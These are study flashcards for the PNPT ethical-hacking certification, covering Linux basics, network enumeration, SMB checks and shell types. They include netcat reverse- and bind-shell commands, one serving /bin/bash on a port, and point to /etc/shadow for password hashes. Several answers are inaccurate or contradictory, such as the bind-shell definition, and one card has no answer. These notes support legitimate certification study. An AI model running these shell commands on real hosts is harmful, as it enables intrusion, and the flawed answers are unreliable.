PNPT Flashcards
Linux File System: what is the /bin directory used for in Linux ?
bin is a directory which contains important executable programs and core OS commands
Linux File System: what is the /boot directory used for in Linux ?
this directory contains the files needed by the boot loader
Linux File System: what is the /dev directory used for in Linux ?
the /dev directory contains your device files
this directory will give you valuable info about whats connected to your system
Linux file system: what is the /etc directory used for ?
this contains the critical configuration files and startup scripts
Linux File system: what is the purpose of the /home directory ?
this is where users home files are stored similar to the documents folder in windows
where are the users stored on a linux system ?
the directory where the users are stored on a linux machine is the /etc/passwd directory
where are the passwords stored on a linux machine?
/etc/shadow is where all the passwords are stored in linux
what command can we use to pull users from the sudoers files who can use sudo ?
grep ‘sudo’ /etc/group
what are two ways we can list the IP’s on a linux system ?
ip -a
or
ifconfig
how do we see the wireless connections on a linux machine ?
iwconfig
how can we see the arp connections on a machine ?
arp -a
or
IP n
how do we see the routing table on our PC ?
route
what command do we use to see open ports and services on a linux machine ?
where are the apache files that can be stored on the web server found ?
/var/www/html
how can we spin up a webserver on the fly with python ?
Python3 -m http.server 80
what are the 5 stages of ethical hacking ?
- Recon
- Scanning and Enumeration
- gaining access
- maintaining access
- covering tracks
how can we use the netdiscover command to discover other hosts on the network ?
netdiscover -r 192.168.57.0/24
what are some ways we can enumerate SMB?
Smb is a file share
We want to figure out the version of smb running
The metasploit module /auxiliary/scanner/smb/smb_version is a good way of discovering the version of smb running
Sometimes smb will allow anonymous access, this will allow us to see files in the file share. We always want to check if there is anonymous access
We can check for anonymous smb access with the smbclient command:
Smbclient –L \192.168.57.134\
what is a reverse shell ?
A reverse shell is when a victim connects to us, target is connecting attack box is listening
Most of the time we use reverse shells
what is a bind shell?
Bind shell we open up a port on our attack box that connects to the victim
Bind shell we connect to the target
Most of the time we use reverse shells
Bind shells are usually used on an external assessment
how do we create a reverse shell with netcat ?
Attacker: nc –nlvp 4444
Victim: nc <ip> 4444</ip>
how do we create a bind shell with netcat ?
Victim: Nc –nvlp 4444 –e /bin/bash
Attacker: nc <ip> 4444</ip>
what are non staged payloads ?
- Sends exploit shellcode all at once
Larger in size and wont always work
what are staged payloads ?
- Sends payload in stages
Can be less stable